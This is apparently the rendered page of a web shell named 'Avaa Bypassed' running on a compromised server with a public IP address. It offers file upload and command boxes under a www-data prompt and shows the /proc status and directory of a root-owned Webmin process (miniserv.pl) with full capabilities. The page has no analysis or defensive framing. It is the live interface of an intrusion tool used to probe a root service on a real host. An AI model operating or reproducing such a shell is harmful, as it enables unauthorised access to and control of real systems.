[ Avaa Bypassed ]




Upload:

Command:

www-data@3.139.64.42: ~ $
Name:	miniserv.pl
Umask:	0022
State:	S (sleeping)
Tgid:	943490
Ngid:	0
Pid:	943490
PPid:	1101
TracerPid:	0
Uid:	0	0	0	0
Gid:	0	0	0	0
FDSize:	128
Groups:	 
NStgid:	943490
NSpid:	943490
NSpgid:	1101
NSsid:	1101
VmPeak:	   46132 kB
VmSize:	   46132 kB
VmLck:	       0 kB
VmPin:	       0 kB
VmHWM:	    6636 kB
VmRSS:	    2864 kB
RssAnon:	     876 kB
RssFile:	    1988 kB
RssShmem:	       0 kB
VmData:	   27920 kB
VmStk:	     132 kB
VmExe:	    1448 kB
VmLib:	    5272 kB
VmPTE:	     120 kB
VmSwap:	   27248 kB
HugetlbPages:	       0 kB
CoreDumping:	0
THP_enabled:	1
Threads:	1
SigQ:	0/31093
SigPnd:	0000000000000000
ShdPnd:	0000000000000000
SigBlk:	0000000000000000
SigIgn:	0000000000000281
SigCgt:	0000000180002000
CapInh:	0000000000000000
CapPrm:	000001ffffffffff
CapEff:	000001ffffffffff
CapBnd:	000001ffffffffff
CapAmb:	0000000000000000
NoNewPrivs:	0
Seccomp:	0
Seccomp_filters:	0
Speculation_Store_Bypass:	thread vulnerable
SpeculationIndirectBranch:	conditional enabled
Cpus_allowed:	7fffffff,ffffffff,ffffffff,ffffffff,ffffffff,ffffffff,ffffffff,ffffffff
Cpus_allowed_list:	0-254
Mems_allowed:	00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
Mems_allowed_list:	0
voluntary_ctxt_switches:	2
nonvoluntary_ctxt_switches:	0

Filemanager

Name Type Size Permission Actions
attr Folder 0555
fd Folder 0500
fdinfo Folder 0555
map_files Folder 0500
net Folder 0555
ns Folder 0511
task Folder 0555
arch_status File 0 B 0444
autogroup File 0 B 0644
auxv File 0 B 0400
cgroup File 0 B 0444
clear_refs File 0 B 0200
cmdline File 0 B 0444
comm File 0 B 0644
coredump_filter File 0 B 0644
cpu_resctrl_groups File 0 B 0444
cpuset File 0 B 0444
File 0 B 0
environ File 0 B 0400
File 0 B 0
gid_map File 0 B 0644
io File 0 B 0400
limits File 0 B 0444
loginuid File 0 B 0644
maps File 0 B 0444
mem File 0 B 0600
mountinfo File 0 B 0444
mounts File 0 B 0444
mountstats File 0 B 0400
numa_maps File 0 B 0444
oom_adj File 0 B 0644
oom_score File 0 B 0444
oom_score_adj File 0 B 0644
pagemap File 0 B 0400
patch_state File 0 B 0400
personality File 0 B 0400
projid_map File 0 B 0644
File 0 B 0
sched File 0 B 0644
schedstat File 0 B 0444
sessionid File 0 B 0444
setgroups File 0 B 0644
smaps File 0 B 0444
smaps_rollup File 0 B 0444
stack File 0 B 0400
stat File 0 B 0444
statm File 0 B 0444
status File 0 B 0444
syscall File 0 B 0400
timens_offsets File 0 B 0644
timers File 0 B 0444
timerslack_ns File 0 B 0666
uid_map File 0 B 0644
wchan File 0 B 0444